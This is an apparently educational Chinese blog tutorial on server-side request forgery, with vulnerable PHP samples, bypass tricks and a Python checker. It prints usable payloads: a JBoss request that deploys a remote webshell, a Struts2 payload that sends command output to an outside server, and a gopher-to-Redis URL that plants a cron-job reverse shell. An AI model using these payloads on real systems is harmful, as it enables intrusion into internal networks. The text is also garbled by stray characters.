09.SSRF(服務端請求偽造)

https://github.com/cujanovic/SSRF-Testing

0x01 漏洞描述


很多web應用都提供了從其他的服務器上獲取數(shù)據(jù)的功能。使用用戶指定的URL财松,web應用可以獲取圖片痴脾,下載文件,讀取文件內(nèi)容等期贫。
如果對用戶提交的URL沒有做好判斷跟匆,攻擊者就可以通過該機器代理攻擊內(nèi)網(wǎng)服務器。
容易導致SSRF漏洞的Web功能有分享功能通砍、手機轉碼玛臂、圖片相關等等,總之在請求的參數(shù)中存在URL的時候都需要敏感一些封孙。

0x02 代碼示例


1)file_get_contents

<?php
       $fh= file_get_contents($_GET['url']); 
        echo $fh; 
 ?>

2)curl_exec

<?php
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_HEADER, 0);
       $output = curl_exec($ch);
       echo $output;
       curl_close($ch);
?>

3)fsockopen()

<?php
       function GetFile($host,$port,$link)
       {
              $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
              if (!$fp) {
                     echo "$errstr (error number $errno) \n";
              }
              else {
                     $out = "GET $link HTTP/1.1\r\n";
                     $out .= "Host: $host\r\n";
                     $out .= "Connection: Close\r\n\r\n";
                     $out .= "\r\n";
                     fwrite($fp, $out);
                     $contents='';
                     while (!feof($fp)) {
                     $contents.= fgets($fp, 1024);
                     }
                     fclose($fp);
                     return $contents;
              }
       }
?>

0x03 漏洞利用

1迹冤、通過file協(xié)議讀取本地文件

image

2、端口掃描

首選需要收集內(nèi)網(wǎng)IP地址虎忌,常用方式有:
a)漏洞平臺歷史漏洞獲取
b)子域名解析結果中
c)掃描器掃描(例如WVS掃描會報出內(nèi)網(wǎng)IP)

另外可以分為兩種有回顯和無回顯兩種情況

例如Web服務泡徙,有回顯的話,就有可能訪問到一些敏感系統(tǒng)膜蠢,另外還可以識別內(nèi)網(wǎng)應用的CMS等等堪藐,針對性的攻擊

而如果沒有回顯的話莉兰,則可以通過返回內(nèi)容、返回數(shù)據(jù)包的長度礁竞、頁面響應時間等等確認端口開放情況糖荒。

3、攻擊內(nèi)網(wǎng)Web應用

這個wooyun上有人分享過了模捂,僅僅通過GET方法就能攻擊的兩個案例:

jboss部署Webshell

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

通過JBOSS HtmlAdaptor接口直接部署遠程war包, 我們可以通過access.log去驗證war包是否成功部署捶朵。

structs2 命令執(zhí)行

?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}

命令執(zhí)行結果會發(fā)送到遠端服務器,通過access.log獲取狂男。

0x04 繞過姿勢


1)利用解析URL所出現(xiàn)的問題

http://www.baidu.com@10.10.10.10與http://10.10.10.10 當后端程序通過不正確的正則表達式(比如將http之后到com為止的字符內(nèi)容泉孩,也就是www.baidu.com,認為是訪問請求的host地址時)對上述URL的內(nèi)容進行解析的時候并淋,很有可能會認為訪問URL的host為www.baidu.com寓搬,而實際上這個URL所請求的內(nèi)容都是10.10.10.10上的內(nèi)容。
該繞過同樣在URL跳轉繞過中適用县耽。
http://www.wooyun.org/bugs/wooyun-2015-091690

2)更改IP地址寫法

ip地址轉換成進制來訪問
115.239.210.26 = 16373751032

3)添加端口可能繞過匹配正則

10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850

4)用短地址(302跳轉)繞過句喷,

如果后端服務器在接收到參數(shù)后,正確的解析了URL的host兔毙,并且進行了過濾唾琼,我們這個時候可以使用302跳轉的方式來進行繞過。

案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257

5)利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name  resolves to 10.0.0.1
www.10.0.0.2.xip.name  resolves to 10.0.0.2
foo.10.0.0.3.xip.name  resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name  resolves to 10.0.0.4
6)通過各種非HTTP協(xié)議[]

如果服務器端程序對訪問URL所采用的協(xié)議進行驗證的話澎剥,可以通過非HTTP協(xié)議來進行利用锡溯。
比如通過gopher,可以在一個url參數(shù)中構造POST或者GET請求哑姚,從而達到攻擊內(nèi)網(wǎng)應用的目的祭饭。例如可以使用gopher協(xié)議對與內(nèi)網(wǎng)的Redis服務進行攻擊,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher協(xié)議叙量,F(xiàn)ile協(xié)議也是SSRF中常用的協(xié)議倡蝙,該協(xié)議主要用于訪問本地計算機中的文件,我們可以通過類似 file:///path/to/file 這種格式來訪問計算機本地文件绞佩。使用file協(xié)議可以避免服務端程序對于所訪問的IP進行的過濾寺鸥。例如我們可以通過 file:///d:/1.txt 來訪問D盤中1.txt的內(nèi)容

7) DNS Rebinding

一個常用的防護思路是:對于用戶請求的URL參數(shù),首先服務器端會對其進行DNS解析品山,然后對于DNS服務器返回的IP地址進行判斷胆建,如果在黑名單中,就pass掉肘交。

但是在整個過程中笆载,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,可以進行DNS重綁定攻擊宰译。

要完成DNS重綁定攻擊檐蚜,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server沿侈,在我們的可控的DNS Server上編寫解析服務闯第,設置TTL時間為0。這樣就可以進行攻擊了缀拭,完整的攻擊流程為:

  • 服務器端獲得URL參數(shù)咳短,進行第一次DNS解析,獲得了一個非內(nèi)網(wǎng)的IP
  • 對于獲得的IP進行判斷蛛淋,發(fā)現(xiàn)為非黑名單IP咙好,則通過驗證
  • 服務器端對于URL進行訪問,由于DNS服務器設置的TTL為0褐荷,所以再次進行DNS解析勾效,這一次DNS服務器返回的是內(nèi)網(wǎng)地址。
  • 由于已經(jīng)繞過驗證叛甫,所以服務器端返回訪問內(nèi)網(wǎng)資源的結果层宫。

0x05 可能的利用點

    ftp、ftps (FTP爆破)
    sftp
    tftp(UDP協(xié)議擴展)
    dict
    gopher
    ldap
    imap/imaps/pop3/pop3s/smtp/smtps(爆破郵件用戶名密碼)
    rtsp - smb/smbs (連接SMB)
    telnet
    http其监、https - 內(nèi)網(wǎng)服務探測
    ShellShock命令執(zhí)行
    JBOSS遠程Invoker war命令執(zhí)行
    Java調(diào)試接口命令執(zhí)行
    axis2-admin部署Server命令執(zhí)行
    Jenkins Scripts接口命令執(zhí)行
    Confluence SSRF
    Struts2 命令執(zhí)行
    counchdb WEB API遠程命令執(zhí)行
    mongodb SSRF
    docker API遠程命令執(zhí)行
    php_fpm/fastcgi 命令執(zhí)行
    tomcat命令執(zhí)行
    Elasticsearch引擎Groovy腳本命令執(zhí)行
    WebDav PUT上傳任意文件
    WebSphere Admin可部署war間接命令執(zhí)行
    Apache Hadoop遠程命令執(zhí)行
    zentoPMS遠程命令執(zhí)行
    HFS遠程命令執(zhí)行
    glassfish任意文件讀取和war文件部署間接命令執(zhí)行

0x06 參數(shù)檢測


# -*- coding: utf8 -*-
"""
Server-side Request Forgery vulnerability
"""

import sys
import urlparse
import re
import socket
import struct
import requests  

def ip_into_int(ip):
    return reduce(lambda x,y:(x<<8)+y,map(int,ip.split('.')))

def is_internal_ip(ip):
    ip = ip_into_int(ip)
    net_a = ip_into_int('10.255.255.255') >> 24
    net_b = ip_into_int('172.31.255.255') >> 20
    net_c = ip_into_int('192.168.255.255') >> 16
    return ip >> 24 == net_a or ip >>20 == net_b or ip >> 16 == net_c

def ssrfcheck(url):
    '''
    SSRF繞過方式:
    a) 302 redirect
    b) mysite.10.0.0.1.xip.io:80
    c) 123@baidu.com
    d) 16373751032
    '''
    if '://' in url:
        if not url.startswith('http') and not url.startswith('https'):
            print "Unsupported scheme"
            sys.exit()
    else:
        url = 'http://' + url
    domain = urlparse.urlsplit(url).netloc
    path = urlparse.urlsplit(url).path
    scheme = urlparse.urlsplit(url).scheme
    port = ''
    if '@' in domain: # 123@baidu.com
        domain = domain[domain.index('@') + 1:]
    if re.findall(':\d{1,5}$', domain): # mysite.10.0.0.1.xip.io:80
        _list = domain.split(':')
        domain = _list[0]
        port = _list[1]
    if re.findall('^\d*$', domain): # 16373751032
        domain = socket.inet_ntoa(struct.pack('I',socket.htonl(int(domain))))
    compile_ip=re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')    
    if compile_ip.match(domain):    
        ipaddr = domain    
    else:    
        ipaddr = socket.gethostbyname(domain)
    if not is_internal_ip(ipaddr):
        if port:
            url = scheme + "://" + domain + ":" + port + path
        else:
            url = scheme + "://" + domain + path
        print url
        try: # 302 redirect
            r = requests.head(url, stream=True, timeout=1)  
            if r.status_code == 302:
                print "302 Redirect"
                _url = r.headers['Location']
                ssrfcheck(_url)
            else:
                print "External IP"
        except Exception, e:
            print e
            return False
    else:
        print "Intranet IP"
    
if __name__ == '__main__':
    ssrfcheck(sys.argv[1])

0x07 參考文章


http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/
SSRF漏洞分析與利用
A New Era Of SSRF
php ssrf technique
談一談如何在Python開發(fā)中拒絕SSRF漏洞
SSRF Tips

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末萌腿,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子抖苦,更是在濱河造成了極大的恐慌毁菱,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,591評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件锌历,死亡現(xiàn)場離奇詭異贮庞,居然都是意外死亡,警方通過查閱死者的電腦和手機辩涝,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評論 3 392
  • 文/潘曉璐 我一進店門贸伐,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人怔揩,你說我怎么就攤上這事「浚” “怎么了商膊?”我有些...
    開封第一講書人閱讀 162,823評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長宠进。 經(jīng)常有香客問我晕拆,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,204評論 1 292
  • 正文 為了忘掉前任实幕,我火速辦了婚禮吝镣,結果婚禮上,老公的妹妹穿的比我還像新娘昆庇。我一直安慰自己末贾,他們只是感情好,可當我...
    茶點故事閱讀 67,228評論 6 388
  • 文/花漫 我一把揭開白布整吆。 她就那樣靜靜地躺著拱撵,像睡著了一般。 火紅的嫁衣襯著肌膚如雪表蝙。 梳的紋絲不亂的頭發(fā)上拴测,一...
    開封第一講書人閱讀 51,190評論 1 299
  • 那天,我揣著相機與錄音府蛇,去河邊找鬼集索。 笑死,一個胖子當著我的面吹牛汇跨,可吹牛的內(nèi)容都是我干的务荆。 我是一名探鬼主播,決...
    沈念sama閱讀 40,078評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼扰法,長吁一口氣:“原來是場噩夢啊……” “哼蛹含!你這毒婦竟也來了?” 一聲冷哼從身側響起塞颁,我...
    開封第一講書人閱讀 38,923評論 0 274
  • 序言:老撾萬榮一對情侶失蹤浦箱,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后祠锣,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體酷窥,經(jīng)...
    沈念sama閱讀 45,334評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,550評論 2 333
  • 正文 我和宋清朗相戀三年伴网,在試婚紗的時候發(fā)現(xiàn)自己被綠了蓬推。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,727評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡澡腾,死狀恐怖沸伏,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情动分,我是刑警寧澤毅糟,帶...
    沈念sama閱讀 35,428評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站澜公,受9級特大地震影響姆另,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,022評論 3 326
  • 文/蒙蒙 一迹辐、第九天 我趴在偏房一處隱蔽的房頂上張望蝶防。 院中可真熱鬧,春花似錦明吩、人聲如沸间学。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,672評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽菱鸥。三九已至,卻和暖如春躏鱼,著一層夾襖步出監(jiān)牢的瞬間氮采,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,826評論 1 269
  • 我被黑心中介騙來泰國打工染苛, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留鹊漠,地道東北人。 一個月前我還...
    沈念sama閱讀 47,734評論 2 368
  • 正文 我出身青樓茶行,卻偏偏與公主長得像躯概,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子畔师,可洞房花燭夜當晚...
    茶點故事閱讀 44,619評論 2 354

推薦閱讀更多精彩內(nèi)容